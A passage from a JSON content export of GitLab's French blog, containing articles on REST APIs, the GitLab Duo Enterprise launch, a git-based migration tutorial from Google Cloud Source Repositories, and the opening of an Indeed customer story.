être interprétées comme des déclarations de fait. Gartner décline toute garantie, expresse ou implicite, à l'égard de cette recherche, y compris toute garantie de qualité marchande ou d'adéquation à un usage particulier.***\n\n***Ce graphique a été publié par Gartner Inc. dans le cadre d'un rapport plus vaste et doit être évalué dans le contexte de l'ensemble du document. Le document produit par Gartner est disponible sur demande auprès de Gartner.***",[827,1195,1067,1420,784],{"slug":2332,"featured":92,"template":683},"gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops","content:fr-fr:blog:gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops.yml","Gitlab Named A Leader In The 2024 Gartner Magic Quadrant For Devops","fr-fr/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops.yml","fr-fr/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops",{"_path":2338,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2339,"content":2345,"config":2350,"_id":2352,"_type":16,"title":2353,"_source":17,"_file":2354,"_stem":2355,"_extension":20},"/fr-fr/blog/what-is-rest-api",{"title":2340,"description":2341,"ogTitle":2340,"ogDescription":2341,"noIndex":6,"ogImage":2342,"ogUrl":2343,"ogSiteName":841,"ogType":842,"canonicalUrls":2343,"schema":2344},"API REST : définition et présentation complète","Qu'il s'agisse de développer une application de réservation en ligne, une solution de paiement mobile, ou un service de messagerie, il est fort probable que votre équipe se serve d'une API REST.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662858/Blog/Hero%20Images/API-REST.jpg","https://about.gitlab.com/blog/what-is-rest-api","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"API REST : définition et présentation complète\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2024-09-04\",\n      }",{"title":2340,"description":2341,"authors":2346,"heroImage":2342,"date":2347,"body":2348,"category":764,"tags":2349},[1232],"2024-09-04","Qu'est-ce qu'une API REST ? Quels sont ses avantages et comment l'utiliser ? Cet article répond aux questions que vous pourriez vous poser sur l'API REST.\n\n__Sommaire__\n- Qu’est-ce qu’une API REST ?\n- Comment fonctionne une API REST ?\n- Quels sont les principes de l'API REST ?\n- Quels sont les avantages d’une API REST ?\n- Utilisations d'une API REST\n\n## Qu’est-ce qu’une API REST ?\n\nL’API REST est une __API (Interface de Programmation d’Application) qui adhère au standard de l'architecture REST (REpresentational State Transfer)__. D’autres appellations désignent l’API REST : API RESTful ou API Web Restful. \n\nUne API, ou interface de programmation d'application, est un logiciel qui permet à deux applications de communiquer entre elles. En informatique, les APIs sont indispensables pour permettre à diverses applications de fonctionner ensemble. \n\nPour créer une API, les développeurs suivent des méthodes et des principes strictement définis, afin que l'ensemble puisse fonctionner. Avant les années 2000, les développeurs utilisaient SOAP (*Simple Object Access Protocol*), un protocole bâti sur XML, complexe à coordonner et gourmand en ressources. Si SOAP est encore utilisé de nos jours, il a été en grande partie remplacé par l'API REST.\n\nConçu en 2000 par l'informaticien américain __Roy Fielding__ au cours de sa thèse de doctorat, REST (*REpresentational State Transfer*) est devenu le modèle dominant de création des APIs, et un jalon incontournable dans le développement du *World Wide Web*. Aujourd'hui, la grande majorité des APIs sont basées sur REST, particulièrement pour offrir des __services Web, interactifs ou mobiles__. Découvrons le fonctionnement des API RESTful, leurs avantages, et leurs applications très variées.\n\n## Comment fonctionne une API REST ? \n\nDans la pratique, l'API REST fonctionne sur le principe de l'environnement client-serveur. L'API RESTful récupère et transmet d'un côté les requêtes d'un utilisateur ou d'une application, et de l'autre les informations rendues par le serveur (application ou base de données). \n\nQuelques notions clés permettent de saisir le fonctionnement d'une API RESTful. __Le client__ est l'entité effectuant une demande. C'est le cas par exemple d'un utilisateur effectuant une recherche au sein d'un catalogue de produits sur son navigateur. __L'API__ se charge de communiquer au serveur la requête, et de renvoyer vers le client les informations demandées. Les informations qui transitent par l'API sont les ressources. __Le serveur__ traite les requêtes. Dans le cas présent, il renverra la liste des produits correspondant aux critères de recherche.\n\nLes requêtes du client sont formulées à travers le __protocole HTTP__ (*HyperText Transfer Protocol*). Voici les principales méthodes et tâches qu'il permet d'accomplir : \n\n- GET : récupérer des données envoyées par le serveur.\n\n- POST : envoyer et publier des informations vers le serveur (les données d'un formulaire d'inscription par exemple).\n\n- PUT : mettre à jour les informations du serveur.\n\n- PATCH : modifier partiellement une ressource existante.\n\n- DELETE : supprimer des informations du serveur.\n\nLes formats de données pour utiliser une API REST sont divers. Le format JSON (*JavaScript Object Notation*) est un format léger, facile à comprendre, et utilisable par de nombreux langages de programmation. XML (*Extensible Markup Language*) permet de gérer des structures de données complexes, et est compatible avec d'autres standards comme le RSS. YAML et HTML sont d'autres formats souvent utilisés pour communiquer les ressources.\n\n## Quels sont les principes de l'API REST ?\n\nUne API REST suit les principes de REST en termes d'__architecture logicielle__. Ces principes créent une ligne directrice permettant de créer des APIs flexibles et légères, parfaitement adaptées à la transmission de données sur internet. \n\nVoici les six principes architecturaux qui régissent une interface REST : \n\n- __Découplage client-serveur.__ Le client connaît seulement l'URI (Uniform Resource Identifier) de la ressource à récupérer. Le serveur interagit uniquement en transmettant ses données via HTTP.\n\n- __Interface uniforme.__ L'architecture REST uniformise la façon dont les informations sont identifiées, gérées et transmises, et fait appel aux hyperliens pour apporter des ressources supplémentaires au client.\n\n- __Code à la demande.__ Le serveur peut transmettre du code au client pour étendre ses fonctionnalités, par exemple pour aider à repérer les erreurs d'un formulaire.\n\n- __Système en couches.__ Une API RESTful peut s'exécuter sur plusieurs serveurs organisés de façon hiérarchique, pour fournir un service plus stable et performant au client.\n\n- __Mise en cache.__ Le serveur REST peut mettre en cache des données pour mieux servir le client, en stockant par exemple les images d'un site pour les resservir ensuite.\n\n- __Absence d'état (Stateless).__ Chaque requête du client est isolée et traitée indépendamment par le serveur. Ainsi, chaque appel doit contenir tous les éléments nécessaires à son traitement.\n\n## Quels sont les avantages d’une API REST ?\n\nEn respectant les exigences du framework de l'API REST, les développeurs profitent des nombreux avantages des API RESTful pour développer des applications efficaces et puissantes : \n\n- __Polyvalence :__ il n'y a aucune restriction sur le langage de programmation à utiliser, et un grand choix pour le format de données (XML, PYTHON, JSON, HTML, etc.)\n\n- __Légèreté :__ les formats de données légers d'une API REST la rendent idéale pour des applications mobiles ou l'Internet des objets (IoT).\n\n- __Portabilité :__ la séparation client-serveur facilite l'échange de données entre les plateformes.\n\n- __Flexibilité :__ cette API n'a pas les lourdeurs d'un protocole, c'est un style architectural.\n\n- __Indépendance :__ les développeurs peuvent travailler séparément sur la partie client ou serveur. \n\nLes avantages de l'API REST se traduisent en gain de productivité et en évolutivité pour les équipes de développement. La mise à l'échelle des systèmes utilisant API REST est facilitée. Les fonctionnalités sont donc plus à même de soutenir une grande charge d'utilisateurs et d'opérations.\n\n### Des contraintes de sécurité\n\nLa création et la gestion d'une API Web RESTful ne sont pas exemptes de défis. L'__authentification__ des utilisateurs peut devenir complexe lorsqu'elle fait appel à plusieurs méthodes différentes, par HTTP, clés API, ou OAuth (*Open Authorization*). Sur des applications larges et complexes, la __multiplication des points de terminaison__ (*endpoints*) entre le serveur et le client peut nuire à la cohérence d'ensemble, de même que les mises à jour si elles laissent d'anciens points de contact encore actifs. \n\nD'autre part, l'interface REST a une faiblesse, car elle transmet par l'URL des points de terminaison des données potentiellement sensibles, comme les identifiants. Sa sécurisation nécessite des mesures spécifiques comme un chiffrement TLS (*Transport Layer Security*), un modèle d'authentification des utilisateurs robuste, et un système de prise en charge des requêtes abusives et de limitation des débits.\n\n## Utilisations d'une API REST\n\nLes développeurs utilisent des API à l'architecture REST pour créer et maintenir de nombreux services. Ainsi, la plupart des applications web et mobiles utilisent des API REST pour accéder et partager des ressources et des informations. Dans le Cloud, cette API permet de connecter rapidement les services des architectures distribuées et hybrides. Au sein des grandes entreprises, elle facilite l'interopérabilité entre les composants des systèmes d'information. \n\nVoici des exemples d'application d'une API REST au sein de sociétés reconnues : \n\n- __Google Search.__ Cette API fournit en temps réel des millions de résultats de recherche sur Google Web et Google Image.\n\n- __Deezer.__ L'API REST de la plateforme de streaming musical permet de retrouver un album ou un artiste dans la base de données de millions de chansons.\n\nActualiser les prix d'un site e-commerce, modifier un champ dans le code source, automatiser des publications, [orchestrer des clusters Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Kubernetes, la solution d’orchestration des conteneurs\"), etc. Le champ d'utilisation des APIs RESTful n'a de limites que celle de l'imagination des développeurs et des créateurs d'applications digitales.\n\n### L'API REST de GitLab\n\nGitLab propose une suite complète d'outils et d'APIs pour l'intégration et l'automatisation d'applications externes. Elle comprend GraphQL, les webhooks, des extensions IDE, et naturellement, une API REST. L'authentification de l'API REST GitLab peut se faire de nombreuses manières, par jeton d'accès, OAuth, ou cookies de session par exemple. Les points de terminaisons sont disponibles pour les templates Dockerfile, .gitignore, GitLab CI/CD YAML et Open source. Pour profiter pleinement de toutes les possibilités de développement de vos applications agiles et cloud-natives, consultez la [documentation complète de l'API REST de GitLab](https://docs.gitlab.com/ee/api/rest/index.html \"Documentation sur l'API REST de GitLab\").  \n\n## FAQ sur l'API REST\n\n### REST vs SOAP\n\n__REST et SOAP__ sont deux standards d'API. L'API REST (*REpresentational State Transfer*) reprend les principes architecturaux de REST, qui permettent de faire communiquer un serveur et un client de façon légère et évolutive. L'API REST est le type d'API le plus répandu. Le protocole SOAP (*Simple Object Access Protocol*) est plus ancien, plus rigide et disponible uniquement en format XML. Ce standard historique peut être encore utilisé pour des applications qui requirent un haut niveau de sécurité.\n\n### Quelle est la différence entre REST et API REST ?\n\nREST est un style d'architecture logicielle destiné à faciliter la création de services web et l'échange de données sur internet, en assurant l'interopérabilité entre les ordinateurs et serveurs. L'API Web RESTful est un type d'API qui se base sur les grands principes de REST. \n\n### Quelle est la différence entre REST et RESTful ?\n\nREST est un ensemble de principes architecturaux qui définissent comment les services web doivent être conçus pour être simples, évolutifs et performants. Une API est dite RESTful lorsqu'elle respecte ces principes, notamment l'utilisation des verbes HTTP standard (GET, POST, PUT, DELETE), l'organisation des ressources via des URLs claires et prévisibles, et l'absence d'état côté serveur. En d'autres termes, une API peut être basée sur REST sans être pleinement RESTful si elle ne respecte pas toutes les bonnes pratiques de cette architecture.\n\n### Quels sont les principes d'une API REST ?\n\nUne API REST respecte les six grands principes de l'architecture REST. Ces principes sont l'interface uniforme, le code à la demande, le système en couches, la mise en cache, l'absence d'état et le découplage client-serveur. Ce dernier principe constitue la base de la structure d'une API RESTful ; il est essentiel au succès de cette API dans le monde des applications Web.\n",[1420,784],{"slug":2351,"featured":6,"template":683},"what-is-rest-api","content:fr-fr:blog:what-is-rest-api.yml","What Is Rest Api","fr-fr/blog/what-is-rest-api.yml","fr-fr/blog/what-is-rest-api",{"_path":2357,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2358,"content":2364,"config":2370,"_id":2372,"_type":16,"title":2373,"_source":17,"_file":2374,"_stem":2375,"_extension":20},"/fr-fr/blog/gitlab-duo-enterprise-is-now-available",{"title":2359,"description":2360,"ogTitle":2359,"ogDescription":2360,"noIndex":6,"ogImage":2361,"ogUrl":2362,"ogSiteName":841,"ogType":842,"canonicalUrls":2362,"schema":2363},"GitLab Duo Enterprise est maintenant disponible","Découvrez comment GitLab Duo Enterprise prend en charge l'ensemble du cycle de vie DevSecOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665660/Blog/Hero%20Images/Untitled__1800_x_945_px_.png","https://about.gitlab.com/blog/gitlab-duo-enterprise-is-now-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Enterprise est maintenant disponible\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-09-03\",\n      }\n                  ",{"title":2359,"description":2360,"authors":2365,"heroImage":2361,"date":2366,"body":2367,"category":697,"tags":2368,"updatedDate":2369},[1274],"2024-09-03","[GitLab Duo Enterprise](https://about.gitlab.com/fr-fr/gitlab-duo/) est un partenaire d'IA de bout en bout conçu pour soutenir l'ensemble du cycle du développement logiciel. Cette puissante suite d'outils d'IA a pour objectif d'augmenter la productivité des équipes de développement, d'améliorer la sécurité, d'optimiser la collaboration et d'accélérer vos processus DevSecOps.\n\nQuelles sont les principales fonctionnalités de GitLab Duo Enterprise ?\n- Assistance intelligente au codage dans plus de 25 langages de programmation\n- Explication et résolution des failles de sécurité alimentées par l'IA \n- Génération automatisée de tests et analyse des causes profondes\n- Amélioration de la collaboration entre les équipes avec des résumés pilotés par l'IA\n- Calcul du retour sur investissement avec le tableau de bord d'analyse d'impact de l'IA\n\n## Pourquoi avons-nous développé GitLab Duo Enterprise\n\nAlors que les entreprises cherchent à livrer de meilleurs logiciels plus rapidement et à créer de la valeur pour leurs clients, elles font face à des défis de taille qui ralentissent leurs progrès. [Notre rapport](http://about.gitlab.com/developer-survey/2024/ai) indique que 95 % des entreprises envisagent d'utiliser l'IA dans le cycle du développement logiciel, ou s'en servent déjà. Cependant, 55 % des répondants à l'enquête ont déclaré qu'ils estimaient que l'utilisation de l'IA pour le développement logiciel présentait des risques.\n\nParmi les points de friction courants en entreprise, nous retrouvons l'expérience et la productivité inadaptées des équipes de développement, les exigences croissantes en termes de sécurité et de conformité, la collaboration inefficace entre les équipes et la difficulté à évaluer le ROI des investissements dans les technologies d'IA. GitLab Duo Enterprise répond à tous ces défis en fournissant à vos équipes de développement un partenaire d'IA sécurisé, efficace et puissant. \n\n**Découvrez dans cet article comment GitLab Duo Enterprise transforme la façon dont votre entreprise crée et déploie des logiciels.**\n\n## Augmentez la productivité des développeurs grâce à l'assistance intelligente au codage\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252678?h=83f35171b6&badge=0&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Code Suggestions clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nL'un des principaux obstacles au développement de logiciels est le caractère chronophage des tâches routinières de codage. Passez plus rapidement aux tâches ayant le plus d'impact avec :\n\n- __Les suggestions de code__ qui prennent en charge plus de 25 langages de programmation. Cet outil alimenté par l'IA accélère la création de code, en améliore la qualité et réduit le temps passé sur des tâches standard.\n\nToutefois, il ne s'agit pas seulement d'écrire du nouveau code. \n\n- La fonctionnalité d'__explication du code__ de GitLab Duo Enterprise permet aux équipes de développement de comprendre rapidement du code complexe ou inconnu.\n\n- En parallèle, le **réusinage du code** permet aux développeurs d'[améliorer et de moderniser le code existant](https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo/).\n\n- La __génération de tests__ automatise la création de tests unitaires complets. Le résultat ? Les équipes peuvent se concentrer sur des tâches à forte valeur ajoutée qui stimulent l'innovation, ce qui accélère les cycles de développement et améliore la qualité des logiciels.\n\n> Découvrez comment [l'entreprise technologique européenne Cube](https://about.gitlab.com/customers/cube/) utilise les suggestions de code, la génération de tests et d'autres fonctionnalités de GitLab Duo pour améliorer la rapidité, la réactivité et le rendement. \n\n## Favorisez la collaboration et la communication entre les équipes\n\nUne collaboration efficace est fondamentale pour un développement logiciel réussi, mais elle est souvent entravée par de longues discussions, des merge requests complexes et des revues de code chronophages. Pour relever ces défis, GitLab Duo Enterprise met à disposition des équipes une suite d'outils de résumé et de génération de modèles : \n- __Résumé des discussions :__ cet outil permet aux membres de l'équipe de se tenir rapidement informés, sans avoir à lire les longues conversations dans les tickets.\n- __Résumé des merge requests :__ cet outil donne un aperçu clair et concis des modifications proposées.\n- __Résumé des revues du code :__ optimisez le processus de revue de code pour permettre de meilleurs transferts entre les auteurs et les relecteurs. \n\nEn clarifiant la communication et en accélérant la prise de décision, GitLab Duo Enterprise aide les équipes à travailler plus efficacement et à obtenir des résultats plus rapidement.\n\n## Simplifiez le dépannage et le débogage\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252688?h=fc6c048bfd&badge=0&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Root Cause Analysis clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nLorsque les pipelines de développement échouent, l’impact sur le délai des projets peut être important. Dans de tels cas, la fonctionnalité d'__analyse des causes profondes__ de GitLab Duo Enterprise change la donne. L'analyse des causes profondes parcourt automatiquement les journaux et fournit des explications détaillées des échecs ainsi que des correctifs potentiels à effectuer. Le temps consacré au troubleshooting (ou dépannage) s'en trouve considérablement réduit.\n\nIl ne s'agit pas seulement de gagner du temps. La [résolution plus rapide des problèmes de compilation CI/CD](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/) permet aux équipes de continuer sur leur lancée, de réduire les temps d'arrêt et, en fin de compte, de publier des mises à jour logicielles plus fréquentes et plus fiables.\n\n## Renforcez la sécurité tout au long du cycle de développement logiciel\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252706?h=73e568b89c&badge=0&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Vulnerability Explanation and Resolution clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nL'omniprésence des menaces de cybersécurité oblige les équipes de développement à doter les applications d'une sécurité robuste. Pour y parvenir, GitLab Duo Enterprise propose des fonctionnalités d'__explication et de résolution des vulnérabilités__. Ces outils alimentés par l'IA aident les [développeurs et développeuses à comprendre les failles de sécurité](https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities/), puis génèrent automatiquement des merge requests contenant des suggestions de correctifs.\n\n## Mesurez l'impact de l'IA pour prendre des décisions stratégiques\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252663?h=d35106288b&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI Impact Dashboard clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nDémontrer le ROI des investissements technologiques est crucial.  GitLab Duo Enterprise répond à ce besoin avec un __tableau de bord d'analyse d'impact de l'IA__. Cet outil d'analyse, construit sur l'analyse du flux de valeur et les métriques DORA4, fournit des indicateurs clairs sur les améliorations de la durée du cycle et l'augmentation des fréquences de déploiement. Les entreprises ont ainsi les moyens de quantifier les avantages tangibles de l'adoption de l'IA dans leurs processus de développement.\n\nEn offrant des informations sur la corrélation entre l'utilisation de l'IA et les principaux indicateurs de productivité, le [tableau de bord d'analyse d'impact de l'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) permet aux dirigeants de prendre des décisions fondées sur les données concernant l'allocation des ressources et les investissements technologiques stratégiques.\n\n## Adoptez une approche DevSecOps alimentée par l'IA\n\nAlors que nous vous présentons GitLab Duo Enterprise, nous sommes également fiers d'annoncer que GitLab a été nommée leader dans le premier [Magic Quadrant™ de Gartner® dédié aux assistants IA pour le code](https://about.gitlab.com/fr-fr/gartner-mq-ai-code-assistants/). Cette reconnaissance souligne notre engagement à fournir des solutions d'IA qui génèrent une réelle valeur commerciale pour les entreprises.\n\nL'avenir du développement logiciel est là, et il est alimenté par l'IA. Nous sommes à vos côtés pour vous aider à intégrer une IA intelligente et évolutive tout au long du cycle de vie DevSecOps afin que vous puissiez fournir des résultats à vos clients plus rapidement.\n\n> [Découvrez GitLab Duo Enterprise dès aujourd'hui et profitez d'un essai gratuit!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro)\n",[699,676,1067,675,827],"2024-09-11",{"slug":2371,"featured":92,"template":683},"gitlab-duo-enterprise-is-now-available","content:fr-fr:blog:gitlab-duo-enterprise-is-now-available.yml","Gitlab Duo Enterprise Is Now Available","fr-fr/blog/gitlab-duo-enterprise-is-now-available.yml","fr-fr/blog/gitlab-duo-enterprise-is-now-available",{"_path":2377,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2378,"content":2384,"config":2393,"_id":2395,"_type":16,"title":2396,"_source":17,"_file":2397,"_stem":2398,"_extension":20},"/fr-fr/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab",{"title":2379,"description":2380,"ogTitle":2379,"ogDescription":2380,"noIndex":6,"ogImage":2381,"ogUrl":2382,"ogSiteName":841,"ogType":842,"canonicalUrls":2382,"schema":2383},"Tutoriel : migrez de Google Cloud Source Repositories vers GitLab","Google Cloud met fin à son service Cloud Source Repositories. Découvrez comment migrer un dépôt de code source CSR vers GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097739/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2813%29_1zdtbfPDHZVe6JC2AbdHmb_1750097738370.png","https://about.gitlab.com/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutoriel : migrez de Google Cloud Source Repositories vers GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsukasa Komatsubara\"},{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2024-08-28\",\n      }",{"title":2379,"description":2380,"authors":2385,"heroImage":2381,"date":2388,"body":2389,"category":676,"tags":2390,"updatedDate":2392},[2386,2387],"Tsukasa Komatsubara","Regnard Raquedan","2024-08-28","L'[arrêt du service Cloud Source Repositories](https://cloud.google.com/source-repositories/docs/release-notes) (CSR) de Google Cloud a incité les équipes de développement à rechercher une alternative complète pour leurs dépôts de code source. GitLab, [partenaire technologique de Google Cloud](https://cloud.google.com/find-a-partner/partner/gitlab-inc), s’impose comme un choix judicieux en raison de ses capacités DevSecOps complètes. \n\nDécouvrez dans ce tutoriel comment migrer de CSR vers GitLab, que vous utilisiez GitLab.com ou une instance auto-gérée sur Google Cloud.\n\n## Pourquoi utiliser GitLab ?\n\nPasser de Google Cloud Source Repositories vers GitLab est une étape recommandée. En tant que partenaire stratégique de Google Cloud, GitLab s'intègre facilement à l'infrastructure existante et apporte de la valeur aux clients grâce aux éléments suivants :\n\n- **Une plateforme DevSecOps unifiée**\n    - Consolidez l'ensemble de votre cycle de développement, de la planification à la surveillance, au sein d'une seule application. Éliminez la multiplication des outils et augmentez considérablement votre productivité.\n\n- **Une intégration fluide avec Google Cloud**\n    - Connectez-vous sans effort à Google Kubernetes Engine (GKE), Cloud Build et Cloud Storage pour assurer une migration fluide et des opérations efficaces au sein de l'écosystème Google Cloud.\n\n- **Des capacités CI/CD avancées**\n    - Tirez parti de la [fonctionnalité GitLab Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) pour tout automatiser, du scanning de sécurité au déploiement, et accélérez vos cycles de développement.\n\n- **Une assistance au codage alimentée par l'IA reconnue dans le secteur**\n    - Bénéficiez d'un développement assisté par l'IA intégré avec [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), favorisant un environnement de codage sécurisé et efficace.\n\n## Prérequis\n\nAvant de commencer la migration, assurez-vous d'avoir :\n- Un compte GitLab : créez un compte sur GitLab.com ou sur une instance auto-hébergée.\n- Un projet GitLab : créez un projet vide dans GitLab où le dépôt CSR sera migré.\n\n## Quelles sont les étapes de la migration ?\n\n1. Créez un projet GitLab vide : il servira de destination pour le dépôt CSR que vous allez migrer. Gardez ce projet vide pour le moment.\n2. Générez un jeton d'accès personnel : accédez aux paramètres de GitLab et [générez un jeton d'accès personnel](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) avec les portées `read_repository` et `write_repository` activées. Ce jeton sera utilisé pour authentifier vos opérations Git pendant le processus de migration.\n3. Modifiez le code dans l'éditeur Cloud Shell : à partir de votre dépôt CSR, ouvrez l'éditeur de code Cloud Shell en cliquant sur le bouton « Modifier le code ». Vous devrez autoriser Cloud Shell et sélectionner « Faire confiance au dépôt » pour continuer.\n\n![Éditeur de code Cloud Shell de Google](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097750/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097750517.png)\n\n4. Inspectez le statut de Git : exécutez `git status` dans Cloud Shell pour vérifier la branche actuelle et assurez-vous que tout est en ordre avant d'effectuer un push vers GitLab.\n\n![Inspectez le statut de Git](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097750/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097750518.png)\n\n5. Configurez le dépôt distant : ajoutez votre projet GitLab en tant que dépôt distant en exécutant :\n\n```\ngit remote add origin [GITLAB_PROJECT_URL]\n\n```\n\n6. Remplacez `[GITLAB_PROJECT_URL]` par l'URL actuelle de votre projet GitLab.\nEffectuez un push vers GitLab, puis effectuez un push de votre dépôt local vers GitLab en exécutant : \n\n```\ngit push -u origin [BRANCH_NAME]\n\n```\n\n7. Remplacez `[BRANCH_NAME]` par le nom de la branche actuelle que vous avez noté plus tôt. Lorsqu'ils vous sont demandés, utilisez votre nom d'utilisateur GitLab et le jeton d'accès personnel comme mot de passe pour vous authentifier et terminez le push.\n\n## Bonnes pratiques\n\n- Sauvegardez avant de commencer : sauvegardez toujours votre dépôt CSR avant de démarrer le processus de migration.\n- Testez après la migration : assurez-vous que tous les aspects du dépôt, y compris les branches et les pipelines CI/CD, fonctionnent comme prévu dans GitLab.\n- Tirez parti des fonctionnalités de GitLab : exploitez les fonctionnalités DevSecOps avancées de GitLab telles que l'[IA](https://about.gitlab.com/fr-fr/gitlab-duo/), le [CI/CD](https://docs.gitlab.com/ee/ci/) et [Enterprise Agile Planning](https://about.gitlab.com/fr-fr/solutions/agile-delivery/) pour améliorer votre workflow de développement.\n\nEn plus d'être facile, la migration depuis Google Cloud Source Repositories vers GitLab offre d'autres avantages que la simple gestion du code source. Avec son intégration à Google Cloud, GitLab est un choix idéal pour les équipes de développement qui cherchent également à améliorer leur workflow.\n\n> En savoir plus sur [l'intégration de GitLab à Google Cloud](https://about.gitlab.com/blog/gitlab-google-cloud-integrations-now-in-public-beta/).",[1069,2391,1067],"google","2024-09-25",{"slug":2394,"featured":6,"template":683},"tutorial-migrate-from-google-cloud-source-repositories-to-gitlab","content:fr-fr:blog:tutorial-migrate-from-google-cloud-source-repositories-to-gitlab.yml","Tutorial Migrate From Google Cloud Source Repositories To Gitlab","fr-fr/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab.yml","fr-fr/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab",{"_path":2400,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2401,"content":2407,"config":2415,"_id":2417,"_type":16,"title":2418,"_source":17,"_file":2419,"_stem":2420,"_extension":20},"/fr-fr/blog/how-indeed-transformed-its-ci-platform-with-gitlab",{"title":2402,"description":2403,"ogTitle":2402,"ogDescription":2403,"noIndex":6,"ogImage":2404,"ogUrl":2405,"ogSiteName":841,"ogType":842,"canonicalUrls":2405,"schema":2406},"Comment Indeed a transformé sa plateforme CI avec GitLab","Indeed a migré des milliers de projets vers le système d'intégration continue (CI) de GitLab, ce qui lui a permis de booster sa productivité et de réduire ses coûts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment Indeed a transformé sa plateforme CI avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Carl Myers\"}],\n        \"datePublished\": \"2024-08-27\",\n      }",{"title":2402,"description":2403,"authors":2408,"heroImage":2404,"date":2410,"body":2411,"category":1806,"tags":2412,"updatedDate":2414},[2409],"Carl Myers","2024-08-27","***Cet article a été traduit. Retrouvez la version originale sur [notre blog anglais](https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab/ \"Blog anglais de GitLab\").***\n\n***Note de la rédaction : nous invitons parfois les membres de notre communauté de clients à contribuer au blog de GitLab. Nous remercions aujourd'hui Carl Myers, responsable des plateformes CI chez Indeed, de nous avoir fait part de son expérience avec GitLab.***\n\nChez Indeed, notre mission est d'aider chacun à trouver un emploi. Indeed est le [plus grand site d'offres d'emploi](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) au monde, accueillant plus de 350 millions de visiteurs uniques 